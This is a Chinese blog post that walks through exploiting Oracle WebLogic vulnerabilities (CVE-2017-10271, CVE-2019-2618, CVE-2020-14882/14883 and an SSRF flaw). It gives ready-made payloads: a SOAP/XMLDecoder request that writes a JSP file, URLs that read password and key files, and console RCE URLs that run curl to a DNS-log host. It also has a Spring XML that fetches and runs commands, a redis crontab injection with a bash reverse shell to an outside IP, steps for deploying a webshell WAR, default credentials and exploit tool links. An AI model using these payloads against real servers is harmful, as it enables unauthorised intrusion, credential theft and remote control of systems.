搜索

Weblogic漏洞利用总结

小数志

共 9187字，需浏览 19分钟

 · 2021-03-23

weblogic简介


Weblogic是美国Oracle公司出品的一个应用服务器(application server)，确切的说是一个基于Java EE架构的中间件，是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器

Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中，是商业市场上主要的Java（Java EE）应用服务器软件之一，也是世界上第一个成功商业化的Java EE应用服务器，具有可扩展性、快速开发、灵活、可靠等优势。

在功能性上，Weblogic是Java EE的全能应用服务器，包括EJB 、JSP、servlet、JMS等，是商业软件里排名第一的容器（JSP、servlet、EJB等），并提供其他工具（例如Java编辑器），因此也是一个综合的开发及运行环境。在扩展性上，Weblogic Server凭借其出色的群集技术，拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。


漏洞汇总



CVE-2017-10271


漏洞简述

   Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。


漏洞影响版本

     

                 10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0。


漏洞触发地址

    /wls-wsat/CoordinatorPortType    /wls-wsat/RegistrationPortTypeRPC    /wls-wsat/ParticipantPortType    /wls-wsat/RegistrationRequesterPortType    /wls-wsat/CoordinatorPortType11    /wls-wsat/RegistrationPortTypeRPC11    /wls-wsat/ParticipantPortType11    /wls-wsat/RegistrationRequesterPortType11


漏洞复现


    1.访问触发此漏洞的 ip:7001//wls-wsat/CoordinatorPortType

    2.使用burp抓取请求包后发送至repeater模块，将数据包修改成构造好的payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: ip:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 637
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">    <soapenv:Header>    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">    <java><java version="1.4.0" class="java.beans.XMLDecoder">    <object class="java.io.PrintWriter">     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>    <void method="println"><string>    <![CDATA[<% out.print("123"); %>    ]]>    </string>    </void>    <void method="close"/>    </object></java></java>    </work:WorkContext>    </soapenv:Header>    <soapenv:Body/></soapenv:Envelope>


成功写入123



3.反弹shell


构造好反弹shell的命令，在vps上使用nc监听4444端口


成功反弹



CVE-2019-2618


漏洞简述

    利用任意文件读取来获取weblogic的弱口令登录进入后台，然后通过上传getshell，通过构造任意文件下载漏洞环境读取到后台用户名和密码，然后登陆进后台，上传webshell。


漏洞影响版本

    WebLogic 10.3.6.0、12.1.3.0、12.2.1.3


漏洞复现

1.任意文件读取   

访问url  (http://IP:7001/hello/file.jsp?path=/etc/passwd) , 成功读取到账号和密码


    不过只能读取一些文件，如何更深层次利用这个漏洞呢？weblogic密码使用AES（老版本3DES）加密，对称加密可解密，只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下，名为SerializedSystemIni.dat和config.xml。SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码，这就是密钥，右键copy to file就可以保存成一个文件：

http://yourIp:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

 config.xml是base_domain的全局配置文件，所以乱七八糟的内容比较多，找到其中的的值，即为加密后的管理员密码

http://yourIP:7001/hello/file.jsp?path=config/config.xml

下载工具进行解密

(下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password)

使用其中的工具5进行解密




2.后台上传getshell

    1.使用解密后的账号密码登录后台，weblogic常见的弱密码

https://cirt.net/passwords?criteria=weblogic 这里使用 用户名:weblogic 密码:Oracle@123 登录

    2.进入后台后点击左边的部署，找到可以上传文件的地址

    3.生成一个war包

        war是一个可以直接运行的web模块，通常用于网站，打成包部署到容器中。war包放置到web目录下之后，可以自动解压，就相当于发布了。简单来说，war包是JavaWeb程序打的包，war包里面包括写的代码编译成的class文件，依赖的包，配置文件，所有的网站页面，包括html，jsp等等。一个war包可以理解为是一个web项目，里面是项目的所有东西

        这里使用冰蝎里面自带的jsp一句话生成war马

jar -cvf shell.war shell.jsp

        生成war后将war马部署上去

    4.使用冰蝎进行连接(默认密码为rebeyond)，成功getshell



CVE-2020-14882

漏洞简述

    远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console，并在 WebLogic Server Console 执行任意代码。

漏洞影响版本

Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0


CVE-2020-14883:权限绕过漏洞

    远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console。权限绕过漏洞（CVE-2020-14883），访问以下URL，未授权访问到管理后台页面（低权限的用户）

/console/images/%252E%252E%252Fconsole.portal/console/css/%252e%252e%252fconsole.portal（小写可绕过补丁）/console/css/%25%32%65%25%32%65%25%32%66console.portal

    此时的权限很低，并不能在后台安装应用，所以需要结合CVE-2020-14883漏洞


CVE-2020-14882 : 代码执行漏洞

    结合 CVE-2020-14883 漏洞，远程攻击者可以构造特殊的HTTP请求，在未经身份验证的情况下接管 WebLogic Server Console ，并在 WebLogic Server Console 执行任意代码。

    该漏洞有两个利用手法

利用 com.tangosol.coherence.mvel2.sh.ShellSession 执行命令利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 执行命令

1. 利用 com.tangosol.coherence.mvel2.sh.ShellSession 执行命令

DNSLOG的使用

DNSLOG可以在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候就可以通过这种方式把想获得的数据外带出来。

     进入DNSLOG平台 http://www.dnslog.cn/ ，点击GET 获取一个域名，然后使用payload执行命令

http://IP:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xx.dnslog.cn');")

直接访问URL

http://ip:端口/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

进入docker容器中可以看到文件以成功创建

     这个利用方法只能在Weblogic 12.2.1以上版本利用，因为10版本并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类


2.利用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext执行命令

一种更为通杀的方法，对于所有Weblogic版本均有效。但是必须可以出网，要可以访问到恶意的xml。首先需要构造一个XML文件，并将其保存外网（漏洞机或者可访问的一台机子上）上

XML文件:

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[curl pnw46y.dnslog.cn]]></value>          </list>        </constructor-arg>    </bean></beans>

    然后通过构造如下URL，即可让Weblogic加载这个XML，并执行其中的命令：

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://ip.xml")


getshell

    访问页面 (http://ip:7001/console/login/LoginForm.jsp) 使用burp抓包，修改请求包为构造好的payload

也可以直接下载大佬写好的工具，下载地址(https://github.com/backlion/CVE-2020-14882_ALL)


ssrf漏洞

漏洞描述

    Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。

    SSRF漏洞可以通过篡改获取资源的请求发送给服务器，但是服务器并没有检测这个请求是否合法的，然后服务器以他的身份来访问其他服务器的资源。

漏洞影响范围

    Oracle WebLogic Server 10.3.6.0

    Oracle WebLogic Server 10.0.2.0

redis简介

    Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API

    它通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。


漏洞复现

浏览器访问存在漏洞的地址 SearchPublicRegistries.jsp 

http://192.168.31.187:7001/uddiexplorer/SearchPublicRegistries.jsp

     1.使用burp抓包后看到参数operator的参数是一个url，这个就是利用点 ，构造请求，通过改变url的端口来做一个端口检测 ( 通过错误的不同，即可探测内网状态。)

    可访问的端口将会得到错误，一般是返回状态码（如下图）

    修改为一个不存在的端口，将会返回错误`could not connect over HTTP to server`。

    如果访问的非http协议（内网），则会返回`did not have a valid SOAP content-type`。


利用redis反弹shell

weblogic的ssrf有一个比较大的特点，其虽然是一个GET请求，但是我们可以通过传入**%0a%0d**来注入换行符，而某些服务(如redis)是通过换行符来分隔每条命令，也就是说我们可以通过该SSRF攻击内网中的redis服务器。首先通过ssrf探测内网中的redis服务器，通常redis端口为6379

    1.首先，通过ssrf探测内网中的redis服务器（docker环境的网段一般是172.*）

    2.构造redis反弹shell命令

test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.191.3/4444 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave
aaa


    3.绕过拦截

http://ip/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E191%2E3%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa%0A%0A%0D%0A

    4.使用nc(windows)监听4444端口

    5.将url编码后的payload使用POST请求发送

    6.成功反弹shell

    7.然后可以进入redis容器中查看定时任务 定时任务存放地址为 /etc/corntab


    最后还有一个weblogic一键漏洞扫描检测工具，提供一键poc检测，收录几乎全部weblogic历史漏洞。

    下载地址

https://github.com/rabbitmask/WeblogicScan 原版https://github.com/dr0op/WeblogicScan 修改版，多一个CVE检测，高亮美化https://github.com/21superman/weblogic_exploit 21superman写的，漏洞比较全面
使用方法 python3 WeblogicScan.py [ip] [port]



浏览 41
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
15种时间序列预测方法总结(包含多种方法代码实现)
向AI转型的程序员都关注了这个号👇👇👇在这篇文章中，我们将深入探讨时间序列预测的基本概念和方法。我们将首先介绍单元预测和多元预测的概念，然后详细介绍各种深度学习和传统机器学习方法如何应用于时间序列预测，包括循环神经网络（RNN）、一维卷积神经网络（1D-CNN）、Transformer、自回归模型（
机器学习AI算法工程
0
APP 安全测试项总结
一、安装包测试　　1.1、关于反编译　　目的是为了保护公司的知识产权和安全方面的考虑等，一些程序开发人员会在源码中硬编码一些敏感信息，如密码。而且若程序内部一些设计欠佳的逻辑，也可能隐含漏洞，一旦源码泄漏，安全隐患巨大。　　为了避免这些问题，除了代码审核外，通常开发的做法是对代码进行混淆，混淆后源代
测试开发技术
0
字节员工：35岁以后被裁员的，后来都走了哪条路？现在2-2，要不要利用最后一年拼命上个岸。
架构师大咖 架构师大咖，打造有价值的架构师交流平台。分享架构师干货、教程、课程、资讯。架构师大咖，每日推送。 公众号该公众号已被封禁在当今竞争激烈的职场环境中，年龄并不总是一个决定性
源码共读
0
微服务与领域驱动设计，架构实践总结
来源：知了一笑👉 欢迎加入小哈的星球 ，你将获得: 专属的项目实战 / Java 学习路线 / 一对一提问 / 学习打卡 /  赠书福利全栈前后端分离博客项目 2.0 版本完结啦， 演示链接：http://116.62.199.48/ ，新
小哈学Java
0
【第126期】效地利用AI辅助编程并提高编程效率
概述 AI可以在编程的多个环节中提供帮助，从而显著提高编程效率。同时，也要注意AI工具的选择和使用，确保它们能够真正提升你的工作效率，而不是成为额外的负担。通过这些工具通过不同的方式辅助编程，包括代码生成、错误检测与修复、代码审查、自动化测试、性能优化等，旨在提高编程效率和代码质量。开发者可以根据
前端微服务
0
【总结】2021- 作为前端，工作中处理过什么复杂的需求？
先说背景，我目前在腾讯IMWeb团队，负责在线教育腾讯课堂的前端研发。都说疫情期间在线教育是风口，我想说，打的赢扛得住也许是机遇，打不赢完全是炮灰。先说流量从春节假期到现在，我们遭遇了前所未有的流量峰值，虽然具体数字不方便透露，但是可以预想得到，那么多所学校在期间强制网络上课，学生加老师的数量是多么
前端自习课
10
性能爆表：SpringBoot利用ThreadPoolTaskExecutor批量插入百万级数据实测！
关注我们,设为星标,每天7:40不见不散,架构路上与您共享回复架构师获取资源大家好，我是你们的朋友架构君，一个会写代码吟诗的架构师。来源：azdebug.blog.csdn.net/article/details/103697108前言具体实现细节测试结果总结前言开发目的： 提高百万级数据
Java架构师社区
0
【Nucleic Acids Research】利用生成式深度学习模型设计蓝藻细菌的合成启动子
题目：Design of synthetic promoters for cyanobacteria with generative deep-learning model期刊：Nucleic Acids Research影响因子：19.16发表时间：2023.5.29原文作者：Euijin Seo
生信宝典
0
【总结】2020- 前端常用的几种请求方式
本文作者系360奇舞团前端开发工程师前端数据请求方式主要包括XMLHttpRequest、Fetch、Axios、WebSocket等。这些请求方式各有特点，适用于不同的场景。本文将从综合性能、优缺点、最佳使用场景以及使用方式的角度对这些数据请求方式进行分析。介绍XMLHttpRequest（XHR
前端自习课
10
【总结】2019- 如何自己开发一个前端监控SDK
原文链接：https://juejin.cn/post/7276814487054450725最近在负责团队前端监控系统搭建的任务。因为我们公司有统一的日志存储平台、日志清洗平台和基于 Grafana 搭建的可视化看板，就剩日志的采集和上报需要自己实现了，所以决定封装一个前端监控 SDK 来完成日志
前端自习课
10
点赞
评论
收藏
分享

手机扫一扫分享

举报